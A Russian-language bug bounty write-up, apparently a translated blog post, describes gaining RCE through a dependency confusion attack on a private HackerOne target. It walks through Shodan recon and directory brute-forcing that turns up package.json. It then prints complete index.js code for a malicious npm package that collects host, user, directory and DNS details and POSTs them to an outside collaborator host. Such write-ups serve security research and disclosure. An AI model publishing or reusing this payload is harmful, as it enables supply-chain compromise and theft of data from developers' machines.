RCE через Dependency Confusion
SHADOW:Group
Данная статья представлена исключительно в образовательных целях. Автор не несёт ответственности за любые последствия ее прочтения.
В этом блоге я поделюсь недавней находкой RCE с помощью атаки Dependency Confusion в частной программе Hackerone .
Что такое Dependency Confusion?
Атака Dependency Confusion или атака подмены цепочки поставок происходит, когда установщик программного обеспечения вытягивает файл вредоносного кода из общедоступного репозитория вместо предполагаемого файла с тем же именем из внутреннего репозитория.
Схема атаки Dependency Confusion

- Из приведенного выше изображения видно, что общедоступный пакет содержит более высокую версию по сравнению с частным пакетом.
- Поэтому, если индексация пакета не выполнена должным образом, он автоматически извлечет пакет более высокой версии из публичного реестра.
Как я нашел эту ошибку?
Давайте назовем сайт redacted.com, так как это была частная программа в Hackerone.
- Shodan Dorking.
Я начал с разведки в Shodan и, используя приведенный ниже Shodan дорк, я нашел IP-адрес, принадлежащий redacted.com.

2. Брутфорс каталогов.
Теперь, используя инструменты для брутфорса каталогов, такие как Dirsearch и FFUF, я нашел файл package.json. Файл package.json содержал все пакеты, которые были установлены на сервере. URL-адрес выглядел так: https://XX.XX.XX.XX/ui/package.json.
Содержимое файла package.json:

3. Проверка путаницы зависимостей в приватных пакетах.
Я скачал файл package.json и начал проверять приватные пакеты с помощью инструмента Confused от visma-prodec.

Выяснилось, что пакета «spr-svg-loaders» нет в общедоступном репозитории npm. Вы можете убедиться в этом, зайдя на веб-сайт npm и выполнив поиск имени пакета.

Следующим шагом является создание пакета NPM с тем же именем (spr-svg-loaders) в общедоступном реестре NPM.
4. Создание вредоносных пакетов (NPM)
Создайте пакет npm с нужным именем, поместите в index.js код, указанный ниже, и загрузите его в общедоступный репозиторий npm. Полную процедуру загрузки пакета можно найти в этом блоге.
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
После публикации пакета мы можем проверить его, введя имя пакета в репозитории npm.

В течение нескольких часов после загрузки пакета я получил ответ с несколькими данными, такими как имя хоста, каталоги, IP-адрес, имя пользователя, на мой сервер сервер interact.sh.
Я получил ответный запрос не только от сервера, который был размещен на AWS, но и от нескольких других компьютеров. Итак, я быстро экспортировал данные и сообщил в их программу вознаграждения.

Оригинал статьи на английском тут.
На этом все! Спасибо за просмотр!
Подпишись на канал @shadow_group_tg